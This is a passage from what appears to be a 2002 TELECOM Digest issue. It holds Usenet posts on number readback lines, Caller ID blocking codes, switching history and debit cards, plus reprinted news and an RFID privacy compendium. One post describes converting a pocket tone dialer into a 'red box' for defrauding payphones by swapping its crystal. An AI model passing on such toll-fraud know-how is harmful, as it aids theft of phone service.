Monday October 14th, whereas > USA Thanksgiving Day fell on Thursday November 28th. What's up with > that? Beats the heck out of me; the Pilgrims celebrated the first Thanksgiving on June 29, 1676. Gordon S. Hlavenka O- nospam@crashelex.com Burma! ------------------------------ From: philmont618j@yahoo.com (Dave) Subject: Re: Globalinx/Com Tech 21 Long Distance Date: 2 Dec 2002 11:30:19 -0800 Organization: http://groups.google.com/ I got my billing in the mail two weeks ago and it came from them as well. Also, my calling card does not work and the customer service number give a system error message. Something is funny here. ------------------------------ From: Peter Dubuque Subject: Re: ""Grave Questions of Invasion of Privacy"" Date: Mon, 2 Dec 2002 23:18:49 UTC Organization: PANIX Public Access Internet and UNIX, NYC John Higdon wrote: > In article , Monty Solomon > wrote: >> Sen. Bill Nelson, a Florida Democrat, warns that the Total >> Information Awareness program threatens our basic rights -- and >> questions whether Adm. Poindexter is the right man to run it. > From what I understand, Poindexter was brought in for technical > consulting. He will not be ""running"" anything. His job title is Director of the Information Awareness Office, which suggests that, in fact, he will. That man shouldn't be allowed within a thousand feet of any government building, never mind put in a position of responsibility or authority. The only way he can tell the difference between the Constitution and a wad of toilet paper is that he finds the Constitution to be fluffier and more absorbent. Peter F. Dubuque - peterd@panix.com - Enemy of Reason(TM) O- ------------------------------ From: tonypo1@cox.net Subject: Re: Number Read Back Service Organization: The Ace Tomatoe and Cement Company Date: Mon, 02 Dec 2002 22:37:01 GMT In article , no- spam@amadeus.kome.com says: > In article , Harbor Diver > wrote: >>> Telco readback numbers typically only serve a comparatively small area. >>> The advantage of having my own is that they work from any phone, >>> anywhere. >> Including blocked numbers? > Yes. The 800 number does not pay any attention to ""blocking"" since it > reads back ANI, not CNID. The line used for CNID readback has Privacy > Manager, so to even get to the machine, one has to get past the PM > sentry, which gives a one-touch option to release the blocking. Similar to Ureach, my USADatanet 800 service delivers realtime ANI as CNID when someone calls me via that service. Quite convenient but then I'm paying for the call and have a right to know who's calling. In article , jtaylor@spamkiller.hfx.andara.com says: > [TELECOM Digest Editor's Note: Phones that are 'hardwired' blocked, > or blocked by default (as opposed to using *67 on a case by case > basis) can be unblocked on the same case by case basis; I think *87 > is how to do it, or maybe *82. Read your local phone directory info > pages for specific details. Anyway, I do not think 'blocking' occurs > at that point when dialing into a *TELCO SPONSORED/PROVIDED* read > back number, which is the only kind you could use if you had no idea > what the number was; by being on premises for one reason or another > and dialing into the telco-provided service. PAT] In Verizon (New England Region) land it's *82 - which doesn't work from the G3i at the office. Punching 9+1182+number works some of the time, not all. I've got a spare trunk card, and four spare lines but admin hasn't given me the ok to unblock them and set the system up so that 9+ gets an outside line blocked, 8+ will get an unblocked line. To activate Anonymous Call Rejection here you dial *77, with *87 deactivating the service. Tony ------------------------------ From: slt@mail.utexas.edu (Seth Theriault) Subject: Re: Number Read Back Service Date: 2 Dec 2002 14:56:59 -0800 Organization: http://groups.google.com/ nichols@cablenut.net (Ryan Nichols) wrote in message : > I used to have a number that I could call to get the number I am > dialing on with my butt set while I am working in a comm room. I have > since lost that number; are there any others out there? I've thought > about ust calling SWBell and GTE and requesting the information > again. I'm needing one for AR and TX. Try this number: 1-800-222-0300 (press ""1"" for English). This is the customer service number for AT&T. It reads back your number back to verify that ""you call is regarding ..."" before offering choices. At least AT&T is good for something, even if it isn't long distance. Seth ------------------------------ From: John Higdon Subject: Re: Number Read Back Service Organization: Green Hills and Cows Date: Mon, 02 Dec 2002 15:50:38 -0800 In article , dold@72.usenet.us.com wrote: > That's why John has an 800 number that he's not sharing with us, that > has real-time ANI feedback. The ANI should be difficult to block. I > used to have a fax mailbox that supplied non-real-time ANI. The ANI > was available the next day in a report. That was pretty handy, but a > little slow for normal usage. Just to be clear, I'm not withholding the number to be a pill. It is just that I lack the resources the subsidize a public number readback line. The number is capped at four simultaneous calls, and the number is used for something else (as its ""day job""). There is a back-door sequence that must be entered to coax the IVR into coughing up the number you are calling from. But it is a very effective and reliable readback. BTW, from time to time, inadvertent number readbacks appear that are associated with other services. AT&T may still have one that reads back the number you are calling from in association with some other service it provides. Memory fails as to what it was all about, but you could call in, get the number read back to you, and then just abandon the call. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Stanley Cline Subject: Re: Is There a Dial Helper For When We Travel? Date: 3 Dec 2002 01:49:12 GMT Organization: Roamer1 Communications - Dunwoody, GA, USA Reply-To: sc1-news@roamer1.org In article , ken wrote: > There used to be such things. I had a ""Texas Instruments Phone > Dialer"" about 10 years ago which I used for just this purpose. > http://www.datamath.org/Personal/ProDialer.htm shows a similar one, > and states that TI stopped making them after a few years. Mike Sandman still sells a tone dialer: http://www.sandman.com/autodial.html (very bottom of the page) RadioShack used to sell them (I bought one there a few years ago), but judging from their web site, they don't anymore. Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ ""Never put off until tomorrow what you can do today. There might be a law against it by that time."" -/usr/games/fortune ------------------------------ Date: Mon, 02 Dec 2002 17:19:33 -0800 From: Babu Mengelepouti Organization: US Secret Service Subject: Re: Is There a Dial Helper For When We Travel? Ah, nostalgia! The Radio Shack memory pocket tone dialer was a very popular item with phreaks in the early 1990s. You could replace the included xtal with a 6.5536MHz (or, if you were a purist, you could order through 2600 Magazine one of BernieS' custom-made 6.49MHz) xtal, and voila--you had an instant red box! Obviously, as a teen, I'd never have made such a thing... ;) Last year, citing poor sales, Radio Shack discontinued this item -- much to my disappointment. You might find a used one somewhere, but die-hard phreaks bought up most of the remaining inventory when they went on clearance. > From: Al Gillis > Subject: Re: Is There a Dial Helper For When We Travel? > Date: Sun, 1 Dec 2002 20:25:56 -0800 > Organization: http://extra.newsguy.com > Hi Gail ... > Go see a Radio Shack (or perhaps Sharper Image or a Spencer store). > Radio Shack used to have little dialer gizmos that you could store > telephone numbers in and then, holding the things speaker up to the > telephone handset, have the thing ""squirt"" out the number with the > press of a button or two. You can probably program in the access > number under one button (or name), the 11 digit PIN (under another > button or name) and numbers for your most frequently called pals. > Likely dialing would be easier and you could beat SBC at their own > game! > Al ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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Why doesn't the whole world know about these plans to plant tiny tracking devices in the products we buy? It's not that the press hasn't been covering it -- they have, but as a tech story, not a consumer story. Here is a compendium of news stories from the last two years. Each of the references cited is an actual quote from the press. The quoted comments can be found verbatim at the websites listed. Much of the information cited in our overview article (http://www.nocards.org/AutoID/overview.shtml) came from these sources. ============================== The greatest technological revolution to shape the consumer goods industry since the appearance of the barcode has begun. Ironically, it couples a technology that has been around for decades--radio frequency identification -- with highly miniaturized computers that will enable products to be identified and tracked at any point along the supply chain. The new technological wave is a development of the Auto-ID Center at the Massachusetts Institute of Technology (MIT), which was established in 1999. [snip] ""The fundamental problem in tracing and counting is identification,"" explains Kevin Ashton, director of the Auto-ID Center. ""If we can't identify a thing, then we can't count or track it"".... Ashton began championing the idea of embedding tiny wireless computers in nearly every product made. http://www.chaindrugreview.com/articles/tech_revolution.html ============================== The MIT-based Auto-ID Center [is] a consortium of academic and industry scientists seeking to replace bar codes with a system that tracks manufactured products with pervasive grids of readers in warehouses, trucks, stores, and the home. Once the infrastructure is operational, companies will be able to determine the whereabouts of all their products, all the time. http://www.rand.org/scitech/stpi/ourfuture/Internet/sec4_networked.html ============================== The ultimate goal is to put a radio tag on virtually every manufactured item, each tracked by a network of millions of readers in shops, factories, trucks, warehouses and homes. http://www.technologyreview.com/articles/schmidt0301.asp ============================== From the Auto-ID (MIT) website: Auto-ID technology will change the world by merging bits and atoms together to form one seamless network that interacts with the real world in real time. Physical objects will have embedded intelligence that will allow them to communicate with each other and with businesses and consumers. Auto-ID technology offers an automated, numeric system of smart objects that revolutionizes the way we manufacture, sell, and buy products. An Electronic Product Code (ePC) is embedded onto individual products and physical objects on memory chips known as ""smart tags"" that connect objects to the Internet. Auto-ID technology will allow the Internet to extend to everyday objects. Everything will be connected in a dynamic, automated supply chain that joins businesses and consumers together in a mutually beneficial relationship. http://www.autoidcenter.org/technology.asp Consumers, businesses, and products will interact in a dynamic cycle of computer bits and human atoms that will understand each other. Auto-ID technology will create order and balance in a chaotic world. http://www.autoidcenter.org/applications.asp Auto-ID technology and will forever change global business. Companies who understand what's coming will benefit dramatically. ============================== The ePC (electronic product code) is a numbering scheme that can provide unique ID for any physical object in the world -- each pack of cigarettes, can of soda, light bulb or package of razor blades has a separate ID number. http://www.retailsystemsreseller.com/archive/Nov01/Nov01_5.shtml ============================== The ePC code ... goes way beyond identifying products. The ePC assigns a unique number to every single item that rolls off a manufacturing line. (e.g. Every single bottle of soda would have its own unique ePC number) ... It is capable of uniquely numbering every item produced on the planet well into the future. http://www.eretailnews.com/Features/0105epc1.htm ============================== The creation of an algorithm for uniquely identifying a commercial product by its ""smart"" electronic tag marks a crucial step towards realizing a physically linked world; it provides the basic infrastructure needed to support advanced versions of global supply-chain management. http://www.nikkeibp.asiabiztech.com/nea/200104/inet_127161.html ============================== RFID tags are built into objects like food, clothes, drugs or auto-parts, and read by devices in the environment, e.g., in shelves, floors, doors. [snip] Electronic tags, when coupled to a reader network, allow continuous tracking and identification of physical resources. http://xml.coverpages.org/ni2001-11-21-c.html ============================== Tagged pill bottles in a medicine cabinet could allow doctors to monitor patient compliance with prescriptions, remotely. http://www.rand.org/scitech/stpi/ourfuture/Internet/sec4_networked.html ============================== The new system will be applied to almost any manufactured item, from foodstuffs to washing machines. Each product will in effect carry its own unique ""messages"" around with it in the form of an embedded chip. For example, a carton of spaghetti could ""tell"" a truck to deliver it, ""tell"" a shop that it had been bought, and then ""tell"" a microwave how to cook it. "" 'Intelligent' and fully traceable products could become a low cost reality within the next few years,"" said Mr. Ashton (in early 2001) http://web.mit.edu/newsoffice/tt/2001/jan24/auto.html ============================== The cost of the embedded ID units has fallen dramatically over the past two years, making the implementation of the technology more practical and cost-effective than ever before. The chips, which cost $1 in 1998, have dropped to less than 5 cents each and are predicted to cost less than 1 cent by 2004. http://www.eyeforpharma.com/index.asp?news=2822 ============================== At the center of the Auto-ID system is the RF ID tag. [snip] The Auto-ID center's Ashton describes the tag as ""somewhere between the size of a grain of sand and a speck of dust."" http://www.internetweek.com/newslead01/lead111901.htm ============================== ""We'll put a radio frequency ID tag on everything that moves in the North American supply chain,"" says Mr. Van Fleet [of International Paper]. He said anywhere from 2 percent to 7 percent of products are stolen or misplaced during distribution, and the new smart tags will let companies like his track them down on a per-item basis. [snip] Power Paper Ltd. of Israel is collaborating with International Paper to combine its flat, flexible battery with a microchip that can be put into interactive packages. International Paper estimates that more than 500 million smart packages will be used within three years to sell everything from French fries to electronics. Says Baruch Levanon, head of Power Paper, ""Most of the technology for smart packages already exists. We just need to integrate it."" http://www.csmonitor.com/durable/2001/03/29/fp13s1-csm.shtml ============================== Tulsa, Oklahoma is the site of this summer's (2001) most innovative experiment in inventory management ... The Auto-ID Center is wiring the entire city with analog radio-frequency gear that can track packages equipped with microchips. The system will make it possible to track inventory as it moves from point to point across the city. ""We're putting RFID [radio-frequency identification] chips on everything that moves."" [snip] The Auto-ID Center's vision is for [product] identification numbers [to] be transmitted by RFID tags to a global network of receivers along the supply chain-at airports, seaports, highways, distribution centers, and retail stores. http://www.informationweek.com/shared/printableArticle?doc_id=IWK20010618S0001 ============================== ... the widespread implementation of RFID technology could mean a leap forward, owing to the ability of RFID tags to be read without actually being in view. Bar code labels, by comparison, must be seen in order to be scanned. http://209.35.212.232/news/2001/12_01/1226/last/news_main.htm ============================== P&G would know exactly when and what consumers are buying. http://www.e-moticart.com/cast/forum/principal.html ============================== Hitachi Europe is looking at the banknote market. The company's Information Systems Group has developed a smart tag chip called Minimum Meu, which measures 0.3mm square and is just 60 microns thick: about the thickness of a human hair. ""A banknote is about 100 microns thick, so the chip could be put inside one,"" says Peter Jones, the company's pre-sales manager. Mass-production of the new chip will start within a year. It has ""attracted a lot of interest and will be a very cost-effective solution,"" says Mr Jones. [snip] In China smart tags are being developed to identify people for tax and insurance purposes. http://news.ft.com/ft/gx.cgi/ftc?pagename=View&c=Article&cid=FT30414MGWC ============================== The European Central Bank is working with technology partners on a hush-hush project to embed radio frequency identification tags into the very fibers of euro bank notes by 2005. In theory, an RFID tag's ability to read and write information to a bank note could make it very difficult, for example, for kidnappers to ask for ""unmarked"" bills. Further, a tag would give governments and law enforcement agencies a means to literally ""follow the money"" in illegal transactions. The RFID allows money to carry its own history by recording information about where it has been. http://www.eetimes.com/story/OEG20011219S0016 ============================== Kevin Ashton, executive director of the Auto-ID Center, concedes there's a Brave New World feel to it all, but adds, ""The dollar value of this opportunity, well ... there's so many zeros on the end of it that it's hard to make people believe you."" http://www.mindfully.org/Food/The-Code.htm (originally at: http://techupdate.zdnet.com/techupdate/stories/main/0,14179,2660904-9,00.html but the link has expired) ============================== Ashton acknowledges that consumers and businesses alike might be very uncomfortable with a system in which the police could find out detailed information about everything in a car's trunk without opening it. http://www.business2.com/articles/web/0,,15024,FF.html ============================== One of the greatest challenges facing the creators of such an infrastructure will be finding ways to allow consumers to opt in or out of the system as it becomes more pervasive. ""It's not clear how that's going to happen,"" [says Sanjay E. Sarma, an MIT professor and co-director of the Auto-ID Center] ""But it's important if companies want to prevent a public backlash against these systems."" http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=21933 (originally at http://www.india-today.com/ctoday/20010616/marvels.html) ============================== ""Any one piece of information"" -- cell phone records, purchasing records, car location -- ""is not that damning or intrusive. But if you put them together, you've got my life,"" [security researcher David] Holtzman said. ""It's very hard to hide things when you have that level of analysis."" Even if these uses aren't what retailers and manufacturers have in mind, technology has a way of creeping into other domains, Holtzman added. Transponders for driving through electronic tollbooths started as a convenience to drivers but now are used in combination with timing analysis to send out speeding tickets, for example. http://news.com.com/2100-1001-833379.html ============================== The United States Department of Defense and the United States Postal Service are among the 85 sponsor companies and organizations funding the Auto-ID research project. For a partial list of donors who have contributed a minimum of $300,000 to the project, see: www.autoidcenter.org/sponsors_companies.asp ============================== To keep tabs on Auto-ID, subscribe to Auto-ID's monthly newsletter at http://www.autoidcenter.o rg/MReport.asp ============================== Search engine advice: If you plan to run your own search on this technology, use the phrase ""Auto-ID Center,"" not ""Auto-ID."" (The latter is a generic phrase for any contactless ID system, including barcodes). -------------------------------------------------- CASPIAN - Consumers Against Supermarket Privacy Invasion and Numbering A national consumer organization opposing supermarket ""loyalty"" cards and other retail surveillance schemes since 1999 http://www.nocards.org We encourage you to duplicate and distribute this message to others. -------------------------------------------------- To subscribe to: CASPIAN Newsletter, just follow this link: http://www.nocards.org/cgi/mojo/mojo.cgi?f=s&l=cnews Click this link, or copy and paste the address into your browser. ------------------------------ From: Joey Lindstrom Date: Mon, 02 Dec 2002 10:02:22 -0700 Subject: Step by Steppin' Reply-To: joey@lairdsflooring.com On Sat, 30 Nov 2002 15:06:44 EST, Mark Cuccia wrote: > But even large cities which used Step-by-Step switching _ALSO_ used > 11X service codes, well into the 1960's. Some of these towns/cities > (usually independent telcos, and also _GTE_ held BC-Tel in British > Columbia CANADA) continued using 11X codes into the 1970's and 80's > even after Crossbar, ESS and possibly digital switching replaced > SXS. (I'm also thinking of Centel in Tallahassee FL which still used > 11X Codes into the 1970's and Lincoln NE Tel & Tel which IIRC still > used 11X into the 1980's. BCTel also used 11X including 112+ instead > of 1+ for sent-paid-DDD into the 1980's!) In 1974 (I remember the year cuz it was the year ""Space: 1999"" went on the air - as a 7 year old kid, I *LOVED* that show. I watch it now and it SUCKS, what was I thinking?), we moved from Calgary, Alberta to Bateman, Saskatchewan, a very small town in southern Saskatchewan, population about 40. It was large enough to have its own ""central office"" (just a little shed) and its own central office code, 306-269. About three months after moving there, SaskTel made a major service upgrade: we now had DDD. Previously, we had to dial ""0"" and ask the operator to complete our long-distance calls (and most calls from Bateman were to nearby Gravelbourg, some 18 miles away and a toll call, so we were dialing ""0"" most of the time). After DDD was introduced, we could dial ""112"", followed, if I'm not mistaken, either a 7-digit or 10-digit number. The former if within 306 (which covers all of Saskatchewan), the latter if elsewhere in the NANPA. I remember figuring out that I could get the long-distance trunk by picking up the phone, toggling the switch once, then waiting, then toggling it again, then waiting, then toggling it twice quickly. You'd hear this satisfying ""clunk"" sound from the receiver to indicate you were now about to call a long-distance number. You even got that then-characteristic ""long distance whistle"" on the line, even before you'd dialed the number. Presumably this was a step-by-step arrangement. The 306-269 part of the local number was not significant and was ""absorbed"" by the switching equipment. The final four digits were significant, and if I recall correctly, the 3xxx numbers were assigned ""in town"" and 4xxx numbers were assigned to surround farms. You needed only dial the 4-digit subscriber line number to reach anybody locally. We moved away from Saskatchewan a couple of years later, but I returned there in 1997 for the 75th anniversary (and, alas, closing) of the Bateman School. By now, the population of Bateman was a whopping 8. The post office had closed, the local garage had closed, the grain elevators had closed, and now the school was closing. The telephone shed was still there, but at some time in the intervening 20+ years, Bateman's 306-269 prefix code had been dropped, and everybody using it (including all the local farmers for miles around) had been switched over to 306-648 Gravelbourg, which at least had the benefit of making Gravelbourg a local call. And, DDD was now accomplished with ""1"", not ""112"" (followed by a mandatory 10 digits). If I try to dial any 1-306-269 number from Calgary now, I get an immediate fast-busy. Finally, all 7 digits of the number have to be dialed. If you dialed any three digits and they didn't begin with ""1"", ""0"", or ""648"", you got a fast-busy. Any idea why they'd do this? Amalgamate everyone from 269 into 648, then never reassign 269? It's not like Saskatchewan is facing a numbering shortage -- hell, that province loses population every year and they're a long way from facing a split or overlay. I can see why people in the area would want the phone company to make Gravelbourg a local call -- Gravelbourg is sorta the ""business hub"" of the area and it's where everybody goes for shopping, etc., but why phase out 269 at all? It's a pain in the ass for everybody and there's no real benefit I can see (other than reclaiming a CO code which they didn't really need to do). BTW, we Albertans tell people that the ""official"" slogan of Saskatchewan is ""Would the last person out of Saskatchewan please turn out the lights?"" :-) (A fair percentage of the people in this city are from Saskatchewan or have at least lived there) Here in Calgary, up until the early 1980's, you could dial local numbers by dialing only the last SIX digits. Our telco, then known as ""A.G.T."" (Alberta Government Telephones), had done some planning: all telephone numbers (up until then, at least) began with the digit ""2"", therefore ""2"" could be omitted when dialing a local call. This disappeared sometime around 1982 or 1983, and then around 1987ish they ran out of numbers beginning with ""2"" (mainly because they had not yet adopted the use of NXX prefixes - they were limited to NNX prefixes. They had every code from 220 through 299 with the exception of 222, 223, 224, and 227, which had been previously assigned to towns north of Calgary along the highway 2. A fifth prefix, 226, had also been assigned to the town of Olds, but then reclaimed -- Olds was re-assigned ""556"" and every customer in the town screamed about it. After that experience, AGT decided not to reclaim any more codes, and left 222, 223, 224, and 227 where they were). I was one of the first people to get one of these new ""not-2"" numbers, which IIRC was 569-0750. Man oh man, it was a *BITCH* to get a pizza or a taxi. NOBODY would believe me when I told them what my phone number was! One company, Mother's Pizza, flat out COULD NOT send me a pizza. The reason: they were on a computerized dispatching system which they'd had custom-made for them. It *INSISTED* on the leading digit ""2"" and wouldn't accept a ""5"", and thus wouldn't accept my order. They later fixed this, and shortly after that went bankrupt. :-) Today we now have three or four times as many prefixes as we did in 1987, with local numbers now starting with every allowable digit (2 through 9). I still get a few odd looks when I tell people my number (which starts with 313), as it's a Sprint Canada prefix and is therefore quite unusual. Things got a little confusing for long-time Calgarians last year, when Telus (and other telcos) began assigning numbers that began with the digit ""4"" within the city of Calgary. The city of Edmonton, about three hours north of here and the capital city of Alberta, had had a similar arrangement to Calgary's pre-80's: all local numbers had, for many years, begun with the digit ""4"". In 1999, the 403 (Alberta) area code was split, with Calgary retaining 403 and Edmonton moving to 780, so all of those ""Edmonton numbers"" were now available for re-use in Calgary. To their credit, Telus waited a good long time to let everyone get used to 780 before reassigning 403-4XX numbers in Calgary. Still, I know a few people who have these new numbers and they report that they do get wrong number calls from people trying to call Edmonton, and that they sometimes face disbelief when telling other Calgarians what their number is. :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: Wichita, Kansas took over the entire 316 area code a year or so ago; the rest of us -- all of southeastern and southwestern Kansas got moved into 620 which should last for a good long time. Here in our town, most people still give only the last four digits when referring to their phone number. The exchange 331 is presumed in speaking, although in dialing, all seven digits are required. Most people here do not know we actually have 330, 331, and 332 although 330 only applies to Montgomery County Sheriff and other county government (what there is of it) and cellular phones from Cingular Wireless/Cellular One/Alltel. 332 only applies to the phones at City Hall, local police, schools, city government, etc. Everyone else (i.e. all residents and business places) in town is 331. I am told some Cellular One phones are also on 332. SWB Telco says a 'few' numbers in 332 are reserved for 'when they have to use them' for wire line residences and businesses. No estimate when that will be. Our sister city, Coffeyville has been 251 since the 1950's when dial service started. Now I note that my cousin who lives in c-ville has a 252 number; that's mostly used in an expansion part of town out by the golf course. And apparently cell phones in c-ville are also 252. They were also in the habit of speaking in four digits, presuming the 251 part, although dialing all seven. Lately they still say four digits, but if the person is 252 they will correct the speaker. PAT] ------------------------------ From: Ed Ellers Subject: Re: Business Line vs Residential Line (in Kentucky) Date: Tue, 3 Dec 2002 02:20:42 -0500 Bob Travis wrote: > It doesn't seem fair to me that a very nonpublic business should > have to pay for a business listing. You're not paying for a business listing -- you're paying for a telephone line for business use. It's been customary for a very long time to charge businesses more than residential customers, in order to make residential service more affordable. > I want it in my name so I can use the expense as a tax deduction > along with the money we pay for the expense of a home office. I don't think the IRS will allow a business deduction for a residential line, and ISTR reading somewhere that you can't even deduct a business line if it's the only line coming into a residence. ------------------------------ From: David Clayton Subject: Re: RIAA Orders US Navy to Surrender Date: Tue, 03 Dec 2002 15:42:02 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au JDS contributed the following: > The best answer, in my opinion, is to stop buying recorded music and > deprive the record companies of the funds they need to pursue their > self-destructive, unjustifiable, and inconsistent legal theories. > Most of the stuff they're selling is garbage anyway. For many artists not signed up to major record companies you can bypass the companies entirely and purchase directly from the artist's web sites or from independent distributors. Not a big market yet, but hopefully it will grow and weaken the fanatical grip the ""majors"" have on recorded music all over the western world. David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: John David Galt Subject: Re: RIAA Orders US Navy to Surrender Date: Mon, 02 Dec 2002 22:48:33 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society JDS wrote: > The best answer, in my opinion, is to stop buying recorded music and > deprive the record companies of the funds they need to pursue their self- > destructive, unjustifiable, and inconsistent legal theories. Most of the > stuff they're selling is garbage anyway. I agree. And more to the point, as Mariah Carey and others have pointed out, the actual artists see little or nothing from album purchases anyway -- the labels take pretty much everything. Thus the moral high ground that the record companies claim to be arguing from is phony from the get-go. (And quite a few new artists have taken to distributing their own material on the net rather than sell their souls to the record companies. Maybe the real purpose of RIAA's campaign against music-sharing sites is to make it impossible for artists to compete against them in this way.) ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: West Virginia Joins in on Microsoft Suit Date: Mon, 2 Dec 2002 17:49:02 -0500 - Dec 2, 2002 05:37 PM (AP Online) - http://finance.lycos.com/home/news/story.asp?story=30349595 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Japan's Cellphone Giant Casts a Paler Shadow Date: Mon, 2 Dec 2002 17:53:16 -0500 By KEN BELSON TOKYO, Dec. 1 - On the face of it, Keiji Tachikawa should have been crowing. As competitors around the globe struggle to survive, Mr. Tachikawa, the president of NTT DoCoMo, was telling reporters how his company earned a profit in the six months through September. Sales were up, and DoCoMo, Japan's largest mobile phone carrier and second-largest company over all, said it expected to earn $1.5 billion for the full year. But Mr. Tachikawa's presentation on Nov. 7 was noticeably on edge, and for good reason. Three years after its i-mode Internet-enabled phones took the telecommunications industry by storm, DoCoMo is looking more and more like an ordinary company. Profit fell 95 percent from the comparable six months last year, and revenue grew just 1.9 percent - hardly the expected pace for a company that formerly could not supply phones fast enough to its clamorous customers. Mr. Tachikawa, who guided DoCoMo through its boom years but is now navigating rough waters, also reduced full-year forecasts. The causes are simple, yet overwhelming. More than 62 percent of Japanese have cellular phones, so finding new subscribers has turned into a costly battle with DoCoMo's rivals, KDDI and J-Phone. In a weak economy, consumers are increasingly reluctant to pay $400 for DoCoMo's fancy third-generation phones or spend $100 a month downloading bulky audio files. To compete, DoCoMo must cut prices, a humbling concession for a company whose products had always commanded a premium. http://www.nytimes.com/2002/12/02/business/worldbusiness/02DOCO.html ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: GAO Pushes Digital TV Deadline/Regulators Should Drop Analog Date: Mon, 2 Dec 2002 18:11:04 -0500 By Peter J. Howe, Globe Staff, 12/2/2002 With the US television industry making only sluggish progress in converting to digital formats including high-definition TV, a General Accounting Office study being released today suggests that federal regulators should mandate a deadline for cable operators to begin carrying digital channels instead of over-the-air analog channels. The study, commissioned by US Representative Edward J. Markey of Malden, the ranking Democrat on the House telecommunications subcommittee, also urges the Federal Communications Commission to consider a deadline for requiring television set makers to include components enabling cable and satellite TV subscribers to get digital channels directly. Five years ago, Congress directed the FCC to set a 2006 deadline for the nation's television broadcasters to shift from analog signals to digital formats that can deliver sharper pictures and CD-quality sound. The move would also free up thousands of analog TV frequencies for reuse by wireless telecommunications providers and public safety agencies. However, most officials doubt the 2006 deadline will be met because stations would not be required to shut off their analog signals until 85 percent of viewers in their markets own digital-ready television sets. Fewer than 1 percent of the 28 million sets sold in the United States last year included a digital TV tuner, according to the Consumer Electronics Association. In August, the FCC ordered that, by July 2007, all new TVs sold in the United States that have 13-inch or larger screens must have a digital tuner. The electronics association, however, has argued that this mandate could add $250 or more to the price of TV sets, although other industry groups say that added cost could eventually drop to under $20 as mass-production efficiencies develop. But the new study by the GAO, an arm of Congress, says a major unresolved issue is how to make digital signals more available for the roughly 80 percent of US homes that get TV from cable or satellite. Instead of requiring cable and satellite subscribers to use an over-the-air tuner to get digital signals, the GAO study said the FCC should consider requiring sales of TV sets that can get a digital signal directly from a cable line without requiring a set-top box, similar to today's cable-ready analog sets. http://www.boston.com/dailyglobe2/336/business/GAO_pushes_digital_TV_deadline+.shtml ------------------------------ From: Joey Lindstrom Date: Mon, 02 Dec 2002 08:46:26 -0700 Subject: Unmunged URL's Reply-To: joey@lairdsflooring.com On Sat, 30 Nov 2002 03:35:19 -0500 (EST), Phil Earnhardt wrote: >> Given the plethora of excellent news sites out there that do not >> require payment (or registration in most cases), WSJ can go piss up a >> rope for all I care. > I've never heard that particular expression before. No? Must be cuz I'm from Soviet Canuckistan (to quote Pat Buchanan). :-) > I believe that PAT's theory was correct: the article URL got munged in > the batched version of the TELECOM Digest and the behavior of the > website was to take you to the subscription page when presented with a > broken URL. Joey: did you ever try the un-munged URL? Yes, several times Thursday and Friday, and they too did not work. HOWEVER, trying again this morning (using a BOOKMARKED URL that did not work last week), it works fine - I can now read the story. Very, very bizarre. Why this would work for most but not for some (I sent the original issue of the Digest to a couple of friends locally - they too could NOT read the article, with either URL) is beyond me. Maybe we live in a bad IP neighbourhood ... :-) (Well, that much is a GIVEN after all ... we're with Telus) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ From: Joey Lindstrom Date: Mon, 02 Dec 2002 10:29:49 -0700 Subject: Debit Cards Reply-To: joey@lairdsflooring.com On Sun, 1 Dec 2002 02:14:09 -0500 (EST), editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: One slight correction in what you say, > regards debit cards. The merchant does not get his money, nor does the > money come out of the card holder's account at the time approval is > given, but rather, when the *actual document* or magnetic tape entry > reaches the bank. Sales authorization is given based on what the > account *looks like at the time of approval.* A sale could be approved > because there is money in the account or the sale is under the daily > limit for the customer. But before the merchant's paper gets to the > office, some other merchant slides in with a check the customer wrote > or gets his debit charges in first. He gets paid because there is > actual money in the account to pay him. Now your paper shows up a few > days later -- the account is devoid of money -- you still get paid > since sales authorization guarenteed you your money. Now the bank is > left holding the bag. I know you are probably saying why didn't the > bank put a 'hold' on the money you had been guarenteed. In some cases > they do, but usually they do not. It depends on the customer's > relationship with the bank in many cases. PAT] This isn't the case in Canada, at least as far as the CIBC (Canadian Imperial Bank of Commerce) and TD Bank (Toronto Dominion) are concerned. All the banks co-own something called ""Interac"", which is a direct-payment system. It also allows people to withdraw money from another bank's machine (with an appropriate ""Interac fee"" added). If I buy something from a merchant with my Interac card (the same card used for all ATM banking), I must key in my PIN on a keypad. Once I successfully key in the PIN, and ok the transaction, the money is IMMEDIATELY debited from my account and credited to the merchant's account. There's no delay, the money goes POOF across the wires. I have personally made such a payment and been back at my computer within 5 minutes to check my online banking account, and seen the transaction there on my screen. Now, it's possible that this is just a hold, but it's an irreversible hold - I no longer have access to the money, and this whole thing is risk-free to the merchant (but they get hosed on fees -- that's another story). Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ From: Ed Ellers Subject: Re: Thanksgiving Schedule (was Re: Ravings) Date: Tue, 3 Dec 2002 03:04:08 -0500 Gordon S. Hlavenka wrote: > Beats the heck out of me; the Pilgrims celebrated the first > Thanksgiving on June 29, 1676. Some wag once claimed that the British celebrate Thanksgiving on the Fourth of July. :-) [TELECOM Digest Editor's Note: The Pilgrims, also known as the Puritans, did have Thanksgiving that day, midst their squabbles on various topics. Many felt they should not be idle like that and it would be better to have it when their work was finished, i.e. the harvest had been gathered, later in the fall, and they had one then also (in the fall) since they all enjoyed having good dinners. Their principal spat divided them in two camps: they were all on the outs with the Church of England of course, but the 'conforming Puritans' 